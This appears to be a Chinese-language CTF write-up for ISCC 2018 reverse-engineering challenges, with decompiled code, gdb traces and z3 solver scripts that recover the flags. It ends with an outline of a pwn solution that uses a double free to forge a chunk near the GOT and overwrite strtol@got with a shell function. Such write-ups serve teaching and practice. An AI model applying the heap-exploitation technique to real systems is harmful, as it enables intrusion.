扔进OD单步调试,很快就能定位到crash出现的位置
crash出现的缘由不难分析,此时[ds + 0x40600]是一个不可读的地址,这时候想起来windows vitia(writeup用的是windows 2008 server)及其以上版本引入了aslr技术,致使程序载入的基址是随机的,若是取值的地址是写死的(好比这道题),就极可能跳到不可读的地址,程序crash,细节能够看这里
一些trick:
- OD把代码当成数据分析时,能够选中,点退格让OD从新分析
- ctrl + A能够从新分析当前模块的代码,也能把误识别的数据转为代码
同时找到了一个很方便的工具能够固定程序的载入地址,固定程序的载入地址随机化后,打开程序,终于能够正常工做了,因而上OD调试,跟了几步指令后突然意识到,check函数没有进行查表,亦或这些操做,只有很简单的位移,这说明咱们的输入并不会发生改变,只会发生移位,若是咱们能获得一串字符移位后的结果,就能够找到移位的规律,进而恢复出flag
//check函数不会改变输入 int __cdecl sub_401090(unsigned int a1) { int v1; // ecx const char *v3; // esi unsigned int v4; // edx bool v5; // cf unsigned __int8 v6; // al unsigned __int8 v7; // al unsigned __int8 v8; // al if ( !a1 ) return 0; v3 = "s_imsaplw_e_siishtnt{g_ialt}F"; v4 = a1 - 4; if ( a1 < 4 ) { LABEL_6: if ( v4 == -4 ) return 0; } else { while ( *(_DWORD *)v1 == *(_DWORD *)v3 ) { v1 += 4; v3 += 4; v5 = v4 < 4; v4 -= 4; if ( v5 ) goto LABEL_6; } } v5 = *(_BYTE *)v1 < (const unsigned __int8)*v3; if ( *(_BYTE *)v1 != *v3 ) return -v5 | 1; if ( v4 != -3 ) { v6 = *(_BYTE *)(v1 + 1); v5 = v6 < v3[1]; if ( v6 != v3[1] ) return -v5 | 1; if ( v4 != -2 ) { v7 = *(_BYTE *)(v1 + 2); v5 = v7 < v3[2]; if ( v7 != v3[2] ) return -v5 | 1; if ( v4 != -1 ) { v8 = *(_BYTE *)(v1 + 3); v5 = v8 < v3[3]; if ( v8 != v3[3] ) return -v5 | 1; } } } return 0; }
因而咱们直接在check函数以后下断点
运行,输入29位不一样的数据后观察
找到了移位先后的字符串,这样就能够恢复flag了,脚本以下:
ISCC2018_re150 [master●●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' encrypt = "s_imsaplw_e_siishtnt{g_ialt}F" before = "abcdefghijklmnopqrstuvwxyzABC" after = "onpqmlrskjtuihvwgfxyedzAcbBCa" flag = [encrypt[after.find(c)] for c in before] print "".join(flag) ISCC2018_re150 [master●●] python solve.py Flag{this_was_simple_isnt_it} ISCC2018_re150 [master●●]
固定exe的装载基址后,发现运行到cin时,程序又crash了,这时才想到windows10下dll的装载基址也是随机的,经过比较aslr_disabler.exe处理先后的exe,发现只对pe头的一个字段改了一位(能够经过010 editor的compare功能看出),因而想到了两种思路:
很明显第一种方法得不偿失,麻烦不说,颇有可能形成系统环境的崩溃。因而尝试在OD调试的过程当中指定dll的基址,试了一下发现要改的地方太多,放弃了。这个时候想到用wine模拟时程序能够正常运行,因而搜索了一下调试wine加载的程序的方法,google的全部结果都指向一个工具winedbg,按照man手册的说明,还能够以gdb模式启动,尝试了一下,发如今本身电脑上各类报错,把patch后的exe发给一个用arch的大佬学弟试了一下,一次就成了(吐血),比较后发现是wine的版本问题,因而果断卸载了apt安装的2.0的wine,手动编译了一个3.8的wine,而后winedbg --gdb ./leftleftrightright.exe,终于跑起来了,以后的方法就和使用ollydbg时同样了,直接下断点查看处理先后的字符串便可
patch后的exe和解题脚本能够在个人github上找到
题目描述: I think the math problem is too difficult for me.
第一眼看到math problem的时候就已经默默地掏出z3了,事实证实果真如此2333
下载好文件后发现是64位的elf,经典的验证密码的题目
Desktop file Reverse Reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20b7dc66633da72204852bf32a4e0c4ea46340b6, stripped Desktop ./Reverse ======================================= = Welcome to the flag access machine! = = Input the password to login ... = ======================================= aaaaaaaaaaaa Wrong password!
拖到IDA里,F5能够看出 sub_400766() 为验证输入的函数,整理一下其代码以下:
signed __int64 sub_400766() { signed __int64 result; // rax __int64 v1; // ST40_8 __int64 v2; // ST48_8 __int64 v16; // [rsp+20h] [rbp-60h] __int64 v20; // [rsp+28h] [rbp-58h] __int64 v24; // [rsp+30h] [rbp-50h] __int64 v28; // [rsp+38h] [rbp-48h] __int64 v7; // [rsp+50h] [rbp-30h] __int64 v8; // [rsp+58h] [rbp-28h] __int64 v9; // [rsp+60h] [rbp-20h] __int64 v10; // [rsp+68h] [rbp-18h] __int64 v11; // [rsp+70h] [rbp-10h] __int64 v12; // [rsp+78h] [rbp-8h] if ( strlen(s) != 32 ) return 0LL; v16 = *&s[16]; v20 = *&s[20]; v24 = *&s[24]; v28 = *&s[28]; if ( *&s[4] * *s - *&s[12] * *&s[8] != 2652042832920173142LL ) goto LABEL_15; if ( 3LL * *&s[8] + 4LL * *&s[12] - *&s[4] - 2LL * *s != 397958918 ) goto LABEL_15; if ( 3 * *s * *&s[12] - *&s[8] * *&s[4] != 3345692380376715070LL ) goto LABEL_15; if ( 27LL * *&s[4] + *s - 11LL * *&s[12] - *&s[8] != 40179413815LL ) goto LABEL_15; srand(*&s[8] ^ *&s[4] ^ *s ^ *&s[12]); v1 = rand() % 50; v2 = rand() % 50; v7 = rand() % 50; v8 = rand() % 50; v9 = rand() % 50; v10 = rand() % 50; v11 = rand() % 50; v12 = rand() % 50; if ( v28 * v2 + v16 * v1 - v20 - v24 != 61799700179LL || v28 + v16 + v24 * v8 - v20 * v7 != 48753725643LL || v16 * v9 + v20 * v10 - v24 - v28 != 59322698861LL || v24 * v12 + v16 - v20 - v28 * v11 != 51664230587LL ) { LABEL_15: result = 0LL; } else { result = 1LL; } return result; }
一些tricks:
- 首先能够看出s是32位的char类型,在s上y一下,修改其变量类型为char s[32],从新f5,一些让人头大的全局变量就被识别为s的元素了
- 右键,hide casts,此时的代码已经和纯C差很少了
- n重命名变量,有助于分析
- 若是不肯定相似 v16 = *&s[16];等语句的功能,能够调试一下快速肯定
逻辑很简单,先判断输入是否为32个字节,而后每四个字节存到一个变量里,对这些变量进行验证,若能经过前四个if判断,那么srand的种子也就肯定了,后边随机数的生成也就随着肯定了,所以咱们能够先之前四个if为约束求解,解出前四个后,再进一步求出全部变量的值,而后拼出flag(须要注意的是z3根据约束求出的解不止一组,能够经过变量类型为__int64排除掉不符合的解),最终的代码以下
Desktop cat iscc_re150.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from z3 import * from libnum import n2s import ctypes from os import system # dll = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6") # v16 = BitVec('v16', 64) # v20 = BitVec('v20', 64) # v24 = BitVec('v24', 64) # v28 = BitVec('v28', 64) # v0 = BitVec('v0', 64) # v4 = BitVec('v4', 64) # v12 = BitVec('v12', 64) # v8 = BitVec('v8', 64) # s = Solver() # s.add(v4 * v0 - v12 * v8 == 2652042832920173142) # s.add(3 * v8 + 4 * v12 - v4 - 2 * v0 == 397958918) # s.add(3 * v0 * v12 - v8 * v4 == 3345692380376715070) # s.add(27 * v4 + v0 - 11 * v12 - v8 == 40179413815) # while s.check() == sat: # print s.model() # s.add(Or(s.model()[v0] != v0, s.model()[v4] != v4, s.model()[v8] != v8, s.model()[v12] != v12)) v4 = 1801073242 v0 = 1869639009 v8 = 829124174 v12 = 862734414 # v4 = 17606925155252157204 # v8 = 18136882180941875262 # v0 = 99182790156815694 # v12 = 4683719103566694143 # dll.srand(v8 ^ v4 ^ v0 ^ v12) # v1 = dll.rand() % 50; # v2 = dll.rand() % 50; # v7 = dll.rand() % 50; # v8 = dll.rand() % 50; # v9 = dll.rand() % 50; # v10 = dll.rand() % 50; # v11 = dll.rand() % 50; # v12 = dll.rand() % 50; # s.add(v28 * v2 + v16 * v1 - v20 - v24 == 61799700179) # s.add(v28 + v16 + v24 * v8 - v20 * v7 == 48753725643) # s.add(v16 * v9 + v20 * v10 - v24 - v28 == 59322698861) # s.add(v24 * v12 + v16 - v20 - v28 * v11 == 51664230587 ) # while s.check() == sat: # print s.model() # s.add(Or(s.model()[v16] != v16, s.model()[v20] != v20, s.model()[v24] != v24, s.model()[v28] != v28)) # [v16 = 811816014, # v20 = 9223372037683369038, # v24 = 1867395930, # v28 = 9223372038050563937] v16 = 811816014 v20 = 828593230 v24 = 1867395930 v28 = 1195788129 # [v16 = 9223372037666591822, # v20 = 4611686019255981134, # v24 = 9223372038722171738, # v28 = 4611686019623176033] # [v16 = 9223372037666591822, # v20 = 13835058056110756942, # v24 = 9223372038722171738, # v28 = 13835058056477951841] l = [v0, v4, v8, v12, v16, v20, v24, v28] flag = "" for i in l: flag += n2s(i)[::-1] print flag system("echo {}| ./Reverse".format(flag)) # flag{th3_Line@r_4lgebra_1s_d1fficult!}
这一题我拿了一血ヾ(o◕∀◕)ノヾ
IDA打开后发现输入通过fencode与encode两个函数处理后与lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比较,相等便可,重点分析fencode与encode两个函数,IDA打开fencode函数,查看流程图发现极其混乱,此时已经嗅到了一丝ollvm的味道,但不肯定,仔细观察fencode函数,发现有两处须要注意:
一些tricks:
- y指定fencode函数类型为void __fastcall fencode(const char *input, char *output)可使input与output均已字符串的形式出如今伪代码中
- 对于做用相同的局部变量,能够在变量的定义处点=,让变量map到其余变量上,这样代码就不会太乱(但也要注意不是全部的变量都能map)
只有这两处能对output产生影响,IDA中右键,Copy to assembly,查看汇编:
能够看出,只需idiv时查看eax,ecx寄存器的值,imul一句时查看edx,esi寄存器的值便可,通过初步调试后写了一个gdb脚本方便分析:
ISCC2018_re250 [master●●] cat payload 0123456789abcdefghijklmn ISCC2018_re250 [master●●] cat gdbscript b *0x4008c6 b *0x400906 r < ./payload i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx ISCC2018_re250 [master●●] gdb ./re -q pwndbg: loaded 165 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./re...BFD: /home/m4x/reverse_repo/ISCC2018_re250/re: invalid string offset 2425393296 >= 564 for section `.strtab' (no debugging symbols found)...done. pwndbg> source gdbscript Breakpoint 1 at 0x4008c6 Breakpoint 2 at 0x400906 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffb -5 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffff8b -117 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x1 1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x1 1 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x3 3 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffd -3 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0x0 0 esi 0x33 51 eax 0x5e 94 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xffffffff -1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffe -2 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffd -3 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffffa4 -92 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xffffffff -1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x0 0 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffe -2 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffffd2 -46 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x34 52 eax 0xffffdfe0 -8224 ecx 0x4 4 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x35 53 eax 0xffffdfe0 -8224 ecx 0x5 5 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x36 54 eax 0xffffdfe0 -8224 ecx 0x6 6 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffb -5 esi 0x37 55 eax 0xffffdfe0 -8224 ecx 0x7 7 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────── RAX 0x7fffffffdfe0 ◂— 0x3736353433323130 ('01234567') RBX 0x0 *RCX 0x7 *RDX 0xfffffffb RDI 0x4 *RSI 0x37 R8 0x4 R9 0x3 R10 0x309 R11 0x7ffff7aba620 (strlen) ◂— pxor xmm0, xmm0 R12 0x400540 (_start) ◂— xor ebp, ebp R13 0x7fffffffe130 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdd70 —▸ 0x7fffffffe050 —▸ 0x400f80 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdcf0 ◂— 0x7f RIP 0x4008c6 (fencode+646) ◂— imul edx, esi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x4008c6 <fencode+646> imul edx, esi 0x4008c9 <fencode+649> add edx, dword ptr [rbp - 0x30] 0x4008cc <fencode+652> mov dword ptr [rbp - 0x30], edx 0x4008cf <fencode+655> mov dword ptr [rbp - 0x38], 0x9dd488f1 0x4008d6 <fencode+662> jmp fencode+837 <0x400985> ↓ 0x400985 <fencode+837> jmp fencode+46 <0x40066e> ↓ 0x40066e <fencode+46> mov eax, dword ptr [rbp - 0x38] 0x400671 <fencode+49> mov ecx, eax 0x400673 <fencode+51> sub ecx, 0x8062cb11 0x400679 <fencode+57> mov dword ptr [rbp - 0x3c], eax 0x40067c <fencode+60> mov dword ptr [rbp - 0x40], ecx ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdcf0 ◂— 0x7f 01:0008│ 0x7fffffffdcf8 ◂— 0x17d7ac49 02:0010│ 0x7fffffffdd00 ◂— 0x11a641770d02b5ce 03:0018│ 0x7fffffffdd08 ◂— 0x2f898fb01bb32d79 04:0020│ 0x7fffffffdd10 ◂— 0x32c3f3ba 05:0028│ 0x7fffffffdd18 ◂— 0x4870988c47f6f166 06:0030│ 0x7fffffffdd20 ◂— 0x70828a986929cc5d 07:0038│ 0x7fffffffdd28 ◂— 0x82e883408157c147 ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 4008c6 fencode+646 f 1 400eb5 main+229 f 2 7ffff7a5a2b1 __libc_start_main+241 Breakpoint *0x4008c6 pwndbg>
这样咱们就获得了输入为0123456789abcdefghijklmn时的处理过程,能够看出,对于咱们的输入,每四位一组与m进行了乘积求和的操做(具体是怎么计算的能够看后边的脚本),而后%127即为output的结果
再对encode函数进行分析,由如下代码已经能够分析出encode函数的做用相似于base64,table即为程序中的ALPHA_BASE(能够经过调试验证一下)
v9 = v22; v10 = v22 + 1; output[v9] = ALPHA_BASE[(v20 >> 2) & 0x3F]; v11 = v10++; output[v11] = ALPHA_BASE[(((v20 & 0xFF) >> 4) | 16 * v20) & 0x3F]; output[v10] = ALPHA_BASE[(((v20 & 0xFF) >> 6) | 4 * v20) & 0x3F]; v12 = v10 + 1; v22 = v10 + 2; output[v12] = ALPHA_BASE[v20 & 0x3F];
这样,整个程序的流程就清楚了:
类base64是可解的,所以能够先对给定的字符串解类base64,而后对解类base64的结果再解一个四元的方程组便可,不学线代多年,第一反应就是爆破= =,(127 - 32) ^ 4数据量也不大,爆破的话,大概100s左右就能出结果,后来发现用z3更快,z3的话只需0.5s就能够出结果,爆破和z3求解的脚本都放在下边了
ISCC2018_re250 [master●●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from z3 import * from libnum import s2n from itertools import permutations from ctypes import c_int32 table = '''FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+\x00''' def decodeBase64(src): delPaddingTail = {0: 0, 2: 4, 1: 2} value = '' n = src.count('=') sin = src[:len(src) - n] for c in sin: value += bin(table.find(c))[2:].zfill(6) value = value[:len(value) - delPaddingTail[n]] # print value middle = [] for i in range(8, len(value) + 1, 8): middle.append(int(value[i-8:i], 2)) output = middle out = hex(s2n(''.join(map(chr, output))))[2: -1] # print out return out m =[ 2, 2, 4, 4294967291, 1, 1, 3, 4294967293, 4294967295, 4294967294, 4294967293, 4, 4294967295, 0, 4294967294, 2 ] # m = [c_int32(i).value for i in m] # print m f0 = lambda x: int(x, 16) f1 = lambda x1, x2, x3, x4: (x1 * m[0] + x2 * m[1] + x3 * m[2] + x4 * m[3]) & 0xff f2 = lambda x1, x2, x3, x4: (x1 * m[4] + x2 * m[5] + x3 * m[6] + x4 * m[7]) & 0xff f3 = lambda x1, x2, x3, x4: (x1 * m[8] + x2 * m[9] + x3 * m[10] + x4 * m[11]) & 0xff f4 = lambda x1, x2, x3, x4: (x1 * m[12] + x2 * m[13] + x3 * m[14] + x4 * m[15]) & 0xff crypto = '''lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq''' key = decodeBase64(crypto) key = [f0(key[i: i + 2]) for i in range(0, len(key), 2)] # key = [key[i: i + 4] for i in range(0, len(key), 4)] # print key s = Solver() res = [BitVec(str(i), 16) for i in xrange(24)] for i in res: s.add(And(i > 0, i < 256)) for i in xrange(6): s.add(f1(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 0]) s.add(f2(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 1]) s.add(f3(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 2]) s.add(f4(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 3]) while s.check() == sat: print s.model() flag = "" for i in xrange(24): flag += chr(s.model()[res[i]].as_long() & 0xff) print flag s.add(res[0] != s.model()[res[0]]) else: print "Finish" # print flag # flag = [] # dic = range(32, 127)[::-1] # for a in dic: # for b in dic: # for c in dic: # for d in dic: # if [f1(a, b, c, d), f2(a, b, c, d), f3(a, b, c, d), f4(a, b, c, d)] in key: # flag.append("".join(map(chr, (a, b, c, d)))) # if len(flag) == 6: # All = permutations(flag) # # print All # for x, y, z, r, s, t in All: # t = x + y + z + r + s + t # if t.startswith("flag{") and t.endswith("}"): # print t # exit() # flag{dO_y0U_KNoW_0IlVm?}
最后从flag看出果真是ollvm混淆
静态分析与动态调试结合,效率倍增
这题的流程经过main函数能够看出,输入的字符串通过fencode和encode两次加密后与字符串lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq 比较,相等即正确。
既然是逆向咱们从encode函数看起。
关键代码如上图,咱们需肯定的是程序运行时v9,v10,v11,v12和v17,v20,v21的值,我采用的是把encode函数的代码抠出来本身运行一遍,将上述须要肯定的值用printf输出,那么逻辑就很快能够看出。
这个函数的各个变量的值以下
//v17 = a1[v8] v20 = a1[v6] v21 = a1[v5] //v23即a3起始的下标 v5 = 0 v6 = 1 v8 = 2 v23 = 0 v9 = 0 v11 = 1 v10 = 2 v12 = 3 v5 = 3 v6 = 4 v8 = 5 v23 = 4 v9 = 4 v11 = 5 v10 = 6 v12 = 7 v5 = 6 v6 = 7 v8 = 8 v23 = 8 v9 = 8 v11 = 9 v10 = 10 v12 = 11 v5 = 9 v6 = 10 v8 = 11 v23 = 12 v9 = 12 v11 = 13 v10 = 14 v12 = 15 v5 = 12 v6 = 13 v8 = 14 v23 = 16 v9 = 16 v11 = 17 v10 = 18 v12 = 19 v5 = 15 v6 = 16 v8 = 17 v23 = 20 v9 = 20 v11 = 21 v10 = 22 v12 = 23 v5 = 18 v6 = 19 v8 = 20 v23 = 24 v9 = 24 v11 = 25 v10 = 26 v12 = 27 v5 = 21 v6 = 22 v8 = 23 v23 = 28 v9 = 28 v11 = 29 v10 = 30 v12 = 31
经过上面的变量值能够看出,每次取a1的三个值通过一些变化做为ALPHA_BASE的下标,获得四个值赋给a3,最后a3和lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比较,那么能够每三个一组爆破出a1的值。
decode脚本以下
from z3 import * ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq' #print len(s1) xiabiao = [] for i in s1: for j in range(len(ALPHA_BASE)): if i == ALPHA_BASE[j]: xiabiao.append(j) print xiabiao #v21 = v6[0] v20 = v6[1] v17 = v6[2] #v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38] def decode(): v6 = [] x = BitVec('x',16) y = BitVec('y',16) z = BitVec('z',16) for i in range(8): s = Solver() s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0, z < 256 ) ) s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) ) if s.check() == sat: print s.model() v6.append(s.model()[x].as_long()) v6.append(s.model()[y].as_long()) v6.append(s.model()[z].as_long()) else: print 'fail' print(len(v6),v6) return v6 v6 = decode() print v6
获得的v6是否正确咱们能够经过encode函数验证一发,获得的v6加密结果以下
那么encode函数已经逆向完成。
和encode函数的处理方法同样,将F5获得的代码本身跑一遍,获得关键变量的值,从而理解函数的逻辑,我分析获得的逻辑大体以下。
例:a2[0] = (a1[0]*m[0]+...+a1[3]*m[3])%127
a2[1] = (a1[0]*m[4]+...+a1[3]*m[7])%127
a2[2] = (a1[0]*m[8]+...+a1[3]*m[11])%127
a2[3] = (a1[0]*m[12]+...+a1[3]*m[15])%127
其中a1是未知的,m是已知的,a2就是encode函数的v6,也已知。
从上面那个图能够看到,a1的每四个值能够和m,a2组成一个四元一次方程,用z3能够很快解出。
最终的脚本以下
#!/usr/bin/python # -*- coding: utf-8 -*- __Author__ = "LB@10.0.0.55" from z3 import * ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq' #print len(s1) xiabiao = [] for i in s1: for j in range(len(ALPHA_BASE)): if i == ALPHA_BASE[j]: xiabiao.append(j) print xiabiao #v21 = v6[0] v20 = v6[1] v17 = v6[2] #v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38] def decode(): v6 = [] x = BitVec('x',16) y = BitVec('y',16) z = BitVec('z',16) for i in range(8): s = Solver() s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0, z < 256 ) ) s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) ) if s.check() == sat: print s.model() v6.append(s.model()[x].as_long()) v6.append(s.model()[y].as_long()) v6.append(s.model()[z].as_long()) else: print 'fail' print(len(v6),v6) return v6 def fdecode(): a = [] x = BitVec('x',64) y = BitVec('y',64) z = BitVec('z',64) w = BitVec('w',64) for i in range(6): s = Solver() s.add( And( x > 0, x < 128, y > 0, y < 128, z > 0, z < 128, w > 0, w < 128) ) s.add( (x*m[0] + y*m[1] + z*m[2] + w*m[3])%256 == v6[i*4] ) s.add( (x*m[4] + y*m[5] + z*m[6] + w*m[7])%256 == v6[i*4+1] ) s.add( (x*m[8] + y*m[9] + z*m[10] + w*m[11])%256 == v6[i*4+2] ) s.add( (x*m[12] + y*m[13] + z*m[14] + w*m[15])%256 == v6[i*4+3] ) if s.check() == sat: print s.model() a.append(s.model()[x].as_long()) a.append(s.model()[y].as_long()) a.append(s.model()[z].as_long()) a.append(s.model()[w].as_long()) else: print 'fail' return a v6 = decode() m = [0x2,0x2,0x4,0xFFFFFFFB,0x1,0x1,0x3,0x0FFFFFFFD,0x0FFFFFFFF,0x0FFFFFFFE,0x0FFFFFFFD,0x4,0x0FFFFFFFF,0x0,0x0FFFFFFFE,0x2] a = fdecode() #a = [102, 108, 97, 103, 123, 100, 79, 95, 121, 48, 85, 95, 75, 78, 111, 87, 95, 48, 73, 108, 86, 109, 63, 125] #print a flag = [ chr(i) for i in a ] print ''.join(flag) #flag{dO_y0U_KNoW_0IlVm?}
64位动态连接的程序,没有开启PIE和RELRO保护,意味着got表地址是固定的而且可写,分析程序后,发现free时只对下标作了验证,存在double free的漏洞,而且程序没有咱们可控的输出,所以也就不能leak libc了,看起来只有overwrite got这一条路可走了,同时也发现了存在gg函数能够直接get shell,所以思路就是覆写某个got为gg的地址了,咱们先调试看一下got附近有没有合适的size
double free的原理能够看这个slide
注意只有运行过某函数时,该函数的got地址才会为真实地址 pwndbg> telescope 0x602000 20 00:0000│ 0x602000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x601e28 (_DYNAMIC) ◂— 0x1 01:0008│ 0x602008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f5fa9e77170 ◂— 0x0 02:0010│ 0x602010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f5fa9c67ca0 (_dl_runtime_resolve_avx_slow) ◂— vorpd ymm8, ymm1, ymm0 03:0018│ 0x602018 (free@got.plt) —▸ 0x7f5fa992e4e0 (free) ◂— mov rax, qword ptr [rip + 0x31da11] 04:0020│ 0x602020 (puts@got.plt) —▸ 0x7f5fa991bf60 (puts) ◂— push r13 05:0028│ 0x602028 (fread@got.plt) —▸ 0x7f5fa991aa10 (fread) ◂— push r13 06:0030│ 0x602030 (__stack_chk_fail@got.plt) —▸ 0x400746 (__stack_chk_fail@plt+6) ◂— push 3 07:0038│ 0x602038 (system@got.plt) —▸ 0x400756 (system@plt+6) ◂— push 4 08:0040│ 0x602040 (printf@got.plt) —▸ 0x7f5fa9902160 (printf) ◂— sub rsp, 0xd8 09:0048│ 0x602048 (__libc_start_main@got.plt) —▸ 0x7f5fa98d31c0 (__libc_start_main) ◂— push r14 0a:0050│ 0x602050 (__gmon_start__@got.plt) —▸ 0x400786 (__gmon_start__@plt+6) ◂— push 7 0b:0058│ 0x602058 (strtol@got.plt) —▸ 0x7f5fa98e9c40 (strtoq) ◂— mov rax, qword ptr [rip + 0x362189] 0c:0060│ 0x602060 (malloc@got.plt) —▸ 0x7f5fa992dee0 (malloc) ◂— push rbp 0d:0068│ 0x602068 (setvbuf@got.plt) —▸ 0x7f5fa991c720 (setvbuf) ◂— push r13 0e:0070│ 0x602070 (__isoc99_scanf@got.plt) —▸ 0x7f5fa9917e80 (__isoc99_scanf) ◂— push rbx 0f:0078│ 0x602078 (exit@got.plt) —▸ 0x4007d6 (exit@plt+6) ◂— push 0xc /* 'h\x0c' */ 10:0080│ 0x602080 (data_start) ◂— 0x0 ... ↓ pwndbg>
看起来在执行过add_paper这个功能后,有0x602000+2, 0x602030+2, 0x602038+2,0x602050+2四处地址能够提供合适的size,但选择0x602000+2的话,同时会修改,_GLOBAL_OFFSET_TABLE_的值,形成不可预知的后果,0x602038+2,0x602050+2也会由于函数执行前后顺序的关系形成程序crash,能够选择0x602030+2做为chunk的首地址,此时的size(0x602030+2+8)为0x????????00000040,能够经过malloc的验证,user data段从0x602030+2+0x10开始,能够覆写strtol@got为gg的地址,进而get shell
